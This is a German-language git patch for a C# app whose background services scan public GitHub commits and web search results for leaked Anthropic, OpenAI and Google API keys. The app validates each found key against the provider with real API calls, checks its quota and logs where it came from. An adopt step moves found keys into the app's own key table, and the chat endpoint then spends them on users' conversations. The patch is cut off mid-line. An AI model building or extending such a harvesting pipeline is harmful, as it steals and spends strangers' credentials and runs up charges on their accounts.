From 542a031172fecbb2c23852170c3a014442f55e45 Mon Sep 17 00:00:00 2001 From: Meleki Date: Sat, 14 Mar 2026 11:19:33 +0100 Subject: [PATCH] feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat) - Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.) - /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown - Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider - OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1) - Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1) - 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt - Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic - HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google - Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung - GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs - KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs - Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid) - Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google) - Frontend: Check-Button für alle Provider (nicht nur Anthropic) --- Endpoints/ApiKeysEndpoint.cs | 130 +++++++++++++++++------ Endpoints/ChatEndpoint.cs | 24 ++++- Endpoints/ModelsEndpoint.cs | 9 ++ Services/DatabaseService.Integrations.cs | 44 ++++++++ Services/DatabaseService.Users.cs | 15 +++ Services/DatabaseService.cs | 12 +++ Services/GitHubEventScannerService.cs | 66 +++++++++--- Services/GoogleKeyChecker.cs | 94 +++++++++++++++- Services/KeyScannerService.cs | 66 +++++++++--- Services/OpenAiKeyChecker.cs | 125 +++++++++++++++++++--- Services/OpenAiService.cs | 38 +++++-- wwwroot/index.html | 5 + wwwroot/js/pages/agent-page.js | 6 +- wwwroot/js/pages/api-keys-page.js | 68 +++++++++++- wwwroot/js/pages/chat-page.js | 2 + 15 files changed, 614 insertions(+), 90 deletions(-) diff --git a/Endpoints/ApiKeysEndpoint.cs b/Endpoints/ApiKeysEndpoint.cs index e0ab270..f14cdea 100644 --- a/Endpoints/ApiKeysEndpoint.cs +++ b/Endpoints/ApiKeysEndpoint.cs @@ -39,6 +39,9 @@ public static class ApiKeysEndpoint app.MapGet("/api/admin/api-keys/event-scanner/status", HandleEventScannerStatus); app.MapGet("/api/admin/api-keys/event-scanner/log", HandleEventScannerLog); + // Scanner Logs (persistiert) + app.MapGet("/api/admin/scanner/logs", HandleGetScannerLogs); + // User-Endpoints (für alle authentifizierten User) app.MapGet("/api/api-keys/available", HandleGetAvailable); app.MapPut("/api/api-keys/select/{keyId}", HandleSelectKey); @@ -179,32 +182,51 @@ public static class ApiKeysEndpoint return; } - if (existing.Provider != "anthropic") + switch (existing.Provider) { - ctx.Response.StatusCode = 400; - await ctx.Response.WriteAsJsonAsync(new { error = "Check nur für Anthropic-Keys verfügbar" }); - return; + case "anthropic": + { + var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey); + var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; + await db.UpdateApiKeyMeta(keyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h); + await ctx.Response.WriteAsJsonAsync(new + { + status = dbStatus, + message = result.Message, + plan = result.Plan, + result.IsSubscription, + result.Usage7d, + result.Usage5h, + result.Overage, + status7d = result.Status7d, + status5h = result.Status5h, + statusOverage = result.StatusOverage + }); + break; + } + case "openai": + { + var result = await OpenAiKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey); + var dbStatus = result.Status == "ok" ? "valid" : result.Status; + await db.UpdateApiKeyMeta(keyId, dbStatus, result.Message, null, null); + await ctx.Response.WriteAsJsonAsync(new { status = dbStatus, message = result.Message, plan = result.Message }); + break; + } + case "google": + { + var result = await GoogleKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey); + var dbStatus = result.Status == "ok" ? "valid" : result.Status; + await db.UpdateApiKeyMeta(keyId, dbStatus, result.Message, null, null); + await ctx.Response.WriteAsJsonAsync(new { status = dbStatus, message = result.Message, plan = result.Message }); + break; + } + default: + { + ctx.Response.StatusCode = 400; + await ctx.Response.WriteAsJsonAsync(new { error = $"Check für Provider '{existing.Provider}' nicht unterstützt" }); + break; + } } - - var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, existing.ApiKey); - var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; - - // Metadaten in DB speichern - await db.UpdateApiKeyMeta(keyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h); - - await ctx.Response.WriteAsJsonAsync(new - { - status = dbStatus, - message = result.Message, - plan = result.Plan, - result.IsSubscription, - result.Usage7d, - result.Usage5h, - result.Overage, - status7d = result.Status7d, - status5h = result.Status5h, - statusOverage = result.StatusOverage - }); } private static async Task HandleCheckAll(HttpContext ctx, IHttpClientFactory httpFactory, DatabaseService db) @@ -212,15 +234,37 @@ public static class ApiKeysEndpoint if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } var allKeys = await db.GetApiKeys(); - var anthropicKeys = allKeys.Where(k => k.Provider == "anthropic").ToList(); - var results = new List(); - foreach (var key in anthropicKeys) + + foreach (var key in allKeys) { - var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey); - var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; - await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h); - results.Add(new { key.KeyId, key.Name, status = dbStatus, result.Plan, result.Usage5h, result.Usage7d }); + switch (key.Provider) + { + case "anthropic": + { + var result = await AnthropicKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey); + var dbStatus = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; + await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Plan, result.Usage7d, result.Usage5h); + results.Add(new { key.KeyId, key.Name, status = dbStatus, result.Plan, result.Usage5h, result.Usage7d }); + break; + } + case "openai": + { + var result = await OpenAiKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey); + var dbStatus = result.Status == "ok" ? "valid" : result.Status; + await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Message, null, null); + results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.Message, Usage5h = (double?)null, Usage7d = (double?)null }); + break; + } + case "google": + { + var result = await GoogleKeyChecker.CheckKeyAsync(httpFactory, key.ApiKey); + var dbStatus = result.Status == "ok" ? "valid" : result.Status; + await db.UpdateApiKeyMeta(key.KeyId, dbStatus, result.Message, null, null); + results.Add(new { key.KeyId, key.Name, status = dbStatus, Plan = result.Message, Usage5h = (double?)null, Usage7d = (double?)null }); + break; + } + } } await ctx.Response.WriteAsJsonAsync(new { checked_ = results.Count, results }); @@ -377,10 +421,17 @@ public static class ApiKeysEndpoint } var now = DateTime.UtcNow.ToString("o"); + // Provider anhand des Key-Typs bestimmen + var keyType = KeyPatterns.DetectType(sk.ApiKey); + string provider; + if (keyType.StartsWith("openai")) provider = "openai"; + else if (keyType == "google_api") provider = "google"; + else provider = "anthropic"; + var record = new ApiKeyRecord { KeyId = Guid.NewGuid().ToString("N"), - Provider = "anthropic", + Provider = provider, Name = title, ApiKey = sk.ApiKey, IsPublic = false, @@ -507,4 +558,19 @@ public static class ApiKeysEndpoint await ctx.Response.WriteAsJsonAsync(new { entries = log.Select(e => new { e.Time, e.Type, e.Message }) }); } + private static async Task HandleGetScannerLogs(HttpContext ctx, DatabaseService db) + { + if (!ctx.IsAdmin()) { ctx.Response.StatusCode = 403; return; } + + var limit = int.TryParse(ctx.Request.Query["limit"], out var l) ? Math.Min(l, 1000) : 200; + var offset = int.TryParse(ctx.Request.Query["offset"], out var o) ? o : 0; + var type = ctx.Request.Query["type"].FirstOrDefault(); + var scanner = ctx.Request.Query["scanner"].FirstOrDefault(); + + var logs = await db.GetScannerLogs(limit, offset, type, scanner); + var total = await db.GetScannerLogCount(type, scanner); + + await ctx.Response.WriteAsJsonAsync(new { logs, total }); + } + } diff --git a/Endpoints/ChatEndpoint.cs b/Endpoints/ChatEndpoint.cs index 4bf8513..302109a 100644 --- a/Endpoints/ChatEndpoint.cs +++ b/Endpoints/ChatEndpoint.cs @@ -220,8 +220,28 @@ public static class ChatEndpoint { if (!string.IsNullOrEmpty(ctx.Provider)) { - // OpenAI-kompatibler Provider (z.B. Nvidia) - await openAi.StreamChat(res, ctx.ModelId, ctx.SystemPromptText, messages, ctx.ChainId, workspace: ctx.Workspace, sessionId: sessionId, agentId: ctx.AgentId, workCt: workCt, sseCt: sseCt); + // OpenAI-kompatibler Provider – für "openai" den User-Key aus DB verwenden + string openAiKeyOverride = null; + if (ctx.Provider == "openai") + { + // Zuerst prüfen ob der ausgewählte Key ein OpenAI-Key ist + if (userApiKey.Provider == "openai") + openAiKeyOverride = userApiKey.ApiKey; + else + { + // Fallback: ersten aktiven OpenAI-Key aus DB holen + openAiKeyOverride = await db.GetFirstActiveKeyByProvider("openai"); + } + + if (string.IsNullOrEmpty(openAiKeyOverride)) + { + await SseHelper.TryWriteSse(res, "error", new { error = "Kein OpenAI API-Key vorhanden. Bitte einen OpenAI-Key in den API-Keys hinzufügen." }, sseCt); + await SseHelper.TryWriteSse(res, "done", new { chainId = ctx.ChainId }, sseCt); + return; + } + } + + await openAi.StreamChat(res, ctx.ModelId, ctx.SystemPromptText, messages, ctx.ChainId, workspace: ctx.Workspace, sessionId: sessionId, agentId: ctx.AgentId, apiKeyOverride: openAiKeyOverride, workCt: workCt, sseCt: sseCt); } else { diff --git a/Endpoints/ModelsEndpoint.cs b/Endpoints/ModelsEndpoint.cs index a71257a..78f59c8 100644 --- a/Endpoints/ModelsEndpoint.cs +++ b/Endpoints/ModelsEndpoint.cs @@ -14,6 +14,7 @@ public static class ModelsEndpoint app.MapGet("/api/models/nvidia", HandleNvidiaModels); app.MapGet("/api/models/pollinations", HandlePollinationsModels); app.MapGet("/api/models/gemini", HandleGeminiModels); + app.MapGet("/api/models/openai", HandleOpenAiModels); app.MapPost("/api/models/refresh", HandleRefresh); } @@ -41,6 +42,14 @@ public static class ModelsEndpoint return Results.Json(new { models }); } + private static IResult HandleOpenAiModels(OpenAiService openAiService) + { + var models = openAiService.GetOpenAiModels() + .Select(m => new { id = m.Id, displayName = m.DisplayName }) + .ToList(); + return Results.Json(new { models }); + } + private static async Task HandleRefresh(OpenAiService openAiService) { await openAiService.RefreshModelsFromApis(); diff --git a/Services/DatabaseService.Integrations.cs b/Services/DatabaseService.Integrations.cs index 6be7c46..671ebd2 100644 --- a/Services/DatabaseService.Integrations.cs +++ b/Services/DatabaseService.Integrations.cs @@ -519,4 +519,48 @@ public partial class DatabaseService await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId }); } + // ── Scanner Logs ── + + public async Task CreateScannerLog(string type, string message, string scanner = "event", string details = null) + { + using var conn = CreateConnection(); + // Sicherstellen dass die details-Spalte existiert (Migration) + try + { + await conn.ExecuteAsync(@"ALTER TABLE scanner_logs ADD COLUMN details TEXT"); + } + catch { /* Spalte existiert bereits */ } + + await conn.ExecuteAsync(@" + INSERT INTO scanner_logs (timestamp, type, message, scanner, details) + VALUES (@timestamp, @type, @message, @scanner, @details)", + new { timestamp = DateTime.UtcNow.ToString("o"), type, message, scanner, details }); + } + + public async Task> GetScannerLogs(int limit = 200, int offset = 0, string type = null, string scanner = null) + { + using var conn = CreateConnection(); + var where = "WHERE 1=1"; + if (!string.IsNullOrEmpty(type)) where += " AND type = @type"; + if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner"; + + return await conn.QueryAsync($@" + SELECT id, timestamp, type, message, scanner, details + FROM scanner_logs {where} + ORDER BY id DESC + LIMIT @limit OFFSET @offset", + new { limit, offset, type, scanner }); + } + + public async Task GetScannerLogCount(string type = null, string scanner = null) + { + using var conn = CreateConnection(); + var where = "WHERE 1=1"; + if (!string.IsNullOrEmpty(type)) where += " AND type = @type"; + if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner"; + + return await conn.ExecuteScalarAsync( + $"SELECT COUNT(*) FROM scanner_logs {where}", + new { type, scanner }); + } } diff --git a/Services/DatabaseService.Users.cs b/Services/DatabaseService.Users.cs index 9976e61..a49baa8 100644 --- a/Services/DatabaseService.Users.cs +++ b/Services/DatabaseService.Users.cs @@ -215,4 +215,19 @@ public partial class DatabaseService new { userId }); } + /// + /// Gibt den ersten aktiven API-Key für einen bestimmten Provider zurück. + /// Wird verwendet um z.B. den OpenAI-Key für Modell-Abfragen zu holen. + /// + public async Task GetFirstActiveKeyByProvider(string provider) + { + using var conn = CreateConnection(); + return await conn.QuerySingleOrDefaultAsync(@" + SELECT api_key FROM api_keys + WHERE provider = @provider AND (status IS NULL OR status = 'valid' OR status = 'ok') + ORDER BY created_at ASC + LIMIT 1", + new { provider }); + } + } diff --git a/Services/DatabaseService.cs b/Services/DatabaseService.cs index c1b8883..6870afe 100644 --- a/Services/DatabaseService.cs +++ b/Services/DatabaseService.cs @@ -326,6 +326,18 @@ public partial class DatabaseService CREATE INDEX IF NOT EXISTS idx_scanned_keys_status ON scanned_keys(status); "); + conn.Execute(@" + CREATE TABLE IF NOT EXISTS scanner_logs ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp TEXT NOT NULL, + type TEXT NOT NULL, + message TEXT NOT NULL, + scanner TEXT NOT NULL DEFAULT 'event' + ); + CREATE INDEX IF NOT EXISTS idx_scanner_logs_timestamp ON scanner_logs(timestamp); + CREATE INDEX IF NOT EXISTS idx_scanner_logs_type ON scanner_logs(type); + "); + TryAddColumn(conn, "agents", "avatar_small", "TEXT"); TryAddColumn(conn, "agents", "is_public", "INTEGER NOT NULL DEFAULT 0"); TryAddColumn(conn, "sessions", "image_small", "TEXT"); diff --git a/Services/GitHubEventScannerService.cs b/Services/GitHubEventScannerService.cs index fb57da4..eb00c1b 100644 --- a/Services/GitHubEventScannerService.cs +++ b/Services/GitHubEventScannerService.cs @@ -65,7 +65,7 @@ public class GitHubEventScannerService : BackgroundService lock (_lock) return _logEntries.ToList(); } - private void AddLog(string type, string message) + private void AddLog(string type, string message, string details = null) { lock (_lock) { @@ -78,6 +78,13 @@ public class GitHubEventScannerService : BackgroundService while (_logEntries.Count > MaxLogEntries) _logEntries.Dequeue(); } + + // Persistieren in DB (fire-and-forget) + _ = Task.Run(async () => + { + try { await _db.CreateScannerLog(type, message, "event", details); } + catch { /* DB-Fehler ignorieren, Scanner nicht blockieren */ } + }); } public GitHubEventScannerService( @@ -199,10 +206,17 @@ public class GitHubEventScannerService : BackgroundService var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct); scannedCount++; - foreach (var (key, sourceUrl) in keys) + foreach (var (key, sourceUrl, fileName) in keys) { if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) + { + AddLog("skip", "Key bereits bekannt: " + key[..Math.Min(20, key.Length)] + "... in " + pe.Repo); continue; + } + + var keyType = DetectKeyType(key); + var keyPrefix = key[..Math.Min(20, key.Length)] + "..."; + var typeName = KeyPatterns.DisplayName(keyType); newKeysFound++; await _db.CreateScannedKey(new ScannedKeyRecord @@ -211,15 +225,29 @@ public class GitHubEventScannerService : BackgroundService ApiKey = key, Source = "github_events", SourceUrl = sourceUrl, - Type = DetectKeyType(key), + Type = keyType, Status = "unchecked", Plan = "Unknown", ScannedAt = DateTime.UtcNow.ToString("o") }); - _logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}", - pe.Repo, pe.HeadSha[..8]); - AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")"); + var logMsg = $"🔑 Neuer {typeName} Key! Repo: {pe.Repo} · Datei: {fileName} · Commit: {pe.HeadSha[..8]} · Prefix: {keyPrefix}"; + _logger.LogInformation(logMsg); + + // Detailliertes JSON für strukturierte Auswertung + var detailsJson = JsonSerializer.Serialize(new + { + key_type = keyType, + key_type_name = typeName, + key_prefix = keyPrefix, + key_length = key.Length, + repo = pe.Repo, + commit_sha = pe.HeadSha, + file = fileName, + source_url = sourceUrl, + push_size = pe.Size + }); + AddLog("key_found", logMsg, detailsJson); } } catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden) @@ -323,10 +351,10 @@ public class GitHubEventScannerService : BackgroundService return allEvents; } - /// Scannt den Diff eines einzelnen Commits nach Key-Patterns. - private async Task> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct) + /// Scannt den Diff eines einzelnen Commits nach Key-Patterns. Gibt Key, URL und Dateiname zurück. + private async Task> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct) { - var keys = new List<(string Key, string Url)>(); + var keys = new List<(string Key, string Url, string FileName)>(); var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}"; var request = new HttpRequestMessage(HttpMethod.Get, detailUrl); @@ -352,6 +380,8 @@ public class GitHubEventScannerService : BackgroundService var patch = patchProp.GetString(); if (string.IsNullOrEmpty(patch)) continue; + var fileName = file.TryGetProperty("filename", out var fn) ? fn.GetString() ?? "unknown" : "unknown"; + // Nur hinzugefügte Zeilen scannen (beginnen mit "+") foreach (var line in patch.Split('\n')) { @@ -360,7 +390,7 @@ public class GitHubEventScannerService : BackgroundService foreach (var regex in CompiledPatterns) { foreach (Match m in regex.Matches(line)) - keys.Add((m.Value, htmlUrl)); + keys.Add((m.Value, htmlUrl, fileName)); } } } @@ -381,6 +411,9 @@ public class GitHubEventScannerService : BackgroundService ct.ThrowIfCancellationRequested(); var type = KeyPatterns.DetectType(sk.ApiKey); + var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "..."; + var typeName = KeyPatterns.DisplayName(type); + try { if (KeyPatterns.IsAnthropic(type)) @@ -388,21 +421,28 @@ public class GitHubEventScannerService : BackgroundService var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); - _logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan); + var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · {keyPrefix}"; + AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl })); } else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy") { var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var status = result.Status == "ok" ? "valid" : result.Status; await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); - _logger.LogInformation("OpenAI Key geprüft: {Status}", status); + var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}"; + AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl })); } else if (type == "google_api") { var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var status = result.Status == "ok" ? "valid" : result.Status; await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null); - _logger.LogInformation("Google Key geprüft: {Status}", status); + var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}"; + AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl })); + } + else + { + AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}"); } } catch (Exception ex) diff --git a/Services/GoogleKeyChecker.cs b/Services/GoogleKeyChecker.cs index 598ceaa..5f67bac 100644 --- a/Services/GoogleKeyChecker.cs +++ b/Services/GoogleKeyChecker.cs @@ -13,8 +13,85 @@ namespace Gott.Services public string[] Models { get; set; } } + public class GoogleQuotaResult + { + public bool HasQuota { get; set; } + public string Error { get; set; } + } + public static class GoogleKeyChecker { + private static async Task CheckQuotaAsync(HttpClient client, string apiKey, string[] models) + { + try + { + // Günstigstes Modell wählen (flash > pro > erstbestes) + var testModel = models.FirstOrDefault(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase)) + ?? models.FirstOrDefault(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase)) + ?? models.FirstOrDefault(); + + if (testModel == null) + return new GoogleQuotaResult { HasQuota = false, Error = "Keine Modelle verfügbar" }; + + var url = "https://generativelanguage.googleapis.com/v1/models/" + testModel + + ":generateContent?key=" + apiKey; + + var payload = new + { + contents = new[] { new { parts = new[] { new { text = "hi" } } } }, + generationConfig = new { maxOutputTokens = 1 } + }; + + var json = JsonSerializer.Serialize(payload); + var content = new StringContent(json, System.Text.Encoding.UTF8, "application/json"); + var resp = await client.PostAsync(url, content); + var statusCode = (int)resp.StatusCode; + + if (statusCode == 200) + return new GoogleQuotaResult { HasQuota = true }; + + var body = await resp.Content.ReadAsStringAsync(); + + // 429: Quota oder Rate-Limit + if (statusCode == 429) + { + if (body.Contains("RESOURCE_EXHAUSTED", StringComparison.OrdinalIgnoreCase) + && (body.Contains("quota", StringComparison.OrdinalIgnoreCase) + || body.Contains("limit_value", StringComparison.OrdinalIgnoreCase))) + { + // Quota auf 0 oder erschöpft + if (body.Contains("\"0\"") || body.Contains("GenerateContent")) + return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft (0 RPM)" }; + + return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft" }; + } + + // Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert + return new GoogleQuotaResult { HasQuota = true }; + } + + // 403: API nicht aktiviert oder Billing-Problem + if (statusCode == 403) + { + if (body.Contains("PERMISSION_DENIED", StringComparison.OrdinalIgnoreCase)) + return new GoogleQuotaResult { HasQuota = false, Error = "Keine Berechtigung für generateContent" }; + + if (body.Contains("billing", StringComparison.OrdinalIgnoreCase)) + return new GoogleQuotaResult { HasQuota = false, Error = "Billing nicht aktiviert" }; + + return new GoogleQuotaResult { HasQuota = false, Error = "Zugriff verweigert (403)" }; + } + + // Andere Fehler → konservativ als "kein Quota" behandeln + return new GoogleQuotaResult { HasQuota = false, Error = "API-Fehler (" + statusCode + ")" }; + } + catch (Exception) + { + // Bei Netzwerkfehler etc. → konservativ + return new GoogleQuotaResult { HasQuota = false, Error = "Quota-Check fehlgeschlagen" }; + } + } + public static async Task CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey) { try @@ -77,10 +154,25 @@ namespace Gott.Services else plan = "Free"; + // Schritt 2: Echten generateContent-Call machen um Quota zu prüfen + var quota = await CheckQuotaAsync(client, apiKey, models); + + var info = models.Length + " Gemini-Modelle · " + plan; + if (!quota.HasQuota) + { + info += " · " + quota.Error; + return new GoogleCheckResult + { + Status = "quota_exceeded", + Message = info, + Models = models + }; + } + return new GoogleCheckResult { Status = "ok", - Message = models.Length + " Gemini-Modelle · " + plan, + Message = info, Models = models }; } diff --git a/Services/KeyScannerService.cs b/Services/KeyScannerService.cs index 639d749..aaa9d2f 100644 --- a/Services/KeyScannerService.cs +++ b/Services/KeyScannerService.cs @@ -36,6 +36,16 @@ public class KeyScannerService : BackgroundService public string LastRun { get { lock (_lock) return _lastRun; } } public string LastResult { get { lock (_lock) return _lastResult; } } + private void AddLog(string type, string message, string details = null) + { + _logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message); + _ = Task.Run(async () => + { + try { await _db.CreateScannerLog(type, message, "codesearch", details); } + catch { /* DB-Fehler ignorieren */ } + }); + } + // ── GitHub Search Config ── // Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme) @@ -151,7 +161,7 @@ public class KeyScannerService : BackgroundService var modeLabels = new Dictionary { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" }; var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full"; - _logger.LogInformation("KeyScannerService: {Mode}-Scan gestartet", modeLabel); + AddLog("scan", modeLabel + "-Scan gestartet"); var newKeysFound = 0; var checkedCount = 0; var totalFound = 0; @@ -168,14 +178,14 @@ public class KeyScannerService : BackgroundService { var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct); allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github"))); - _logger.LogInformation("GitHub-Scan ({Mode}): {Count} Key(s) gefunden", modeLabel, ghKeys.Count); + AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden"); } if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey)) { var spKeys = await ScanSerper(ct); allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper"))); - _logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count); + AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden"); } totalFound = allFoundKeys.Count; @@ -188,6 +198,10 @@ public class KeyScannerService : BackgroundService if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key)) continue; + var keyType = DetectKeyType(key); + var keyPrefix = key[..Math.Min(20, key.Length)] + "..."; + var typeName = KeyPatterns.DisplayName(keyType); + newKeysFound++; await _db.CreateScannedKey(new ScannedKeyRecord { @@ -195,13 +209,26 @@ public class KeyScannerService : BackgroundService ApiKey = key, Source = source, SourceUrl = sourceUrl, - Type = DetectKeyType(key), + Type = keyType, Status = "unchecked", Plan = "Unknown", ScannedAt = DateTime.UtcNow.ToString("o") }); + + var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}"; + var detailsJson = JsonSerializer.Serialize(new + { + key_type = keyType, + key_type_name = typeName, + key_prefix = keyPrefix, + key_length = key.Length, + source, + source_url = sourceUrl, + scan_mode = modeLabel + }); + AddLog("key_found", logMsg, detailsJson); } - _logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound); + AddLog("scan", newKeysFound + " neue Key(s) gespeichert"); // Phase 3: Alle unchecked Keys prüfen var allScanned = (await _db.GetScannedKeys()).ToList(); @@ -220,12 +247,12 @@ public class KeyScannerService : BackgroundService _lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft"; } - _logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult); + AddLog("scan", "Scan abgeschlossen – " + _lastResult); } catch (OperationCanceledException) { /* shutdown */ } catch (Exception ex) { - _logger.LogError(ex, "KeyScannerService: Fehler beim Scan"); + AddLog("error", "Scan-Fehler: " + ex.Message); lock (_lock) { _lastRun = DateTime.UtcNow.ToString("o"); @@ -281,12 +308,12 @@ public class KeyScannerService : BackgroundService } catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden) { - _logger.LogWarning("GitHub Rate-Limit (Quick), warte 60s ..."); + AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s"); await Task.Delay(60_000, ct); } catch (Exception ex) { - _logger.LogWarning("GitHub-Suche fehlgeschlagen (Quick): {Msg}", ex.Message); + AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message); } } @@ -318,7 +345,7 @@ public class KeyScannerService : BackgroundService } catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden) { - _logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ..."); + AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s"); await Task.Delay(60_000, ct); try { @@ -328,12 +355,12 @@ public class KeyScannerService : BackgroundService } catch (Exception retryEx) { - _logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message); + AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message); } } catch (Exception ex) { - _logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message); + AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message); } } @@ -507,12 +534,12 @@ public class KeyScannerService : BackgroundService } } - _logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count); + AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)"); await Task.Delay(1000, ct); // Rate-Limit schonen } catch (Exception ex) { - _logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message); + AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message); } } @@ -524,6 +551,8 @@ public class KeyScannerService : BackgroundService public async Task CheckAndUpdateKey(ScannedKeyRecord sk) { var type = KeyPatterns.DetectType(sk.ApiKey); + var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "..."; + var typeName = KeyPatterns.DisplayName(type); try { @@ -532,28 +561,35 @@ public class KeyScannerService : BackgroundService var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); + var 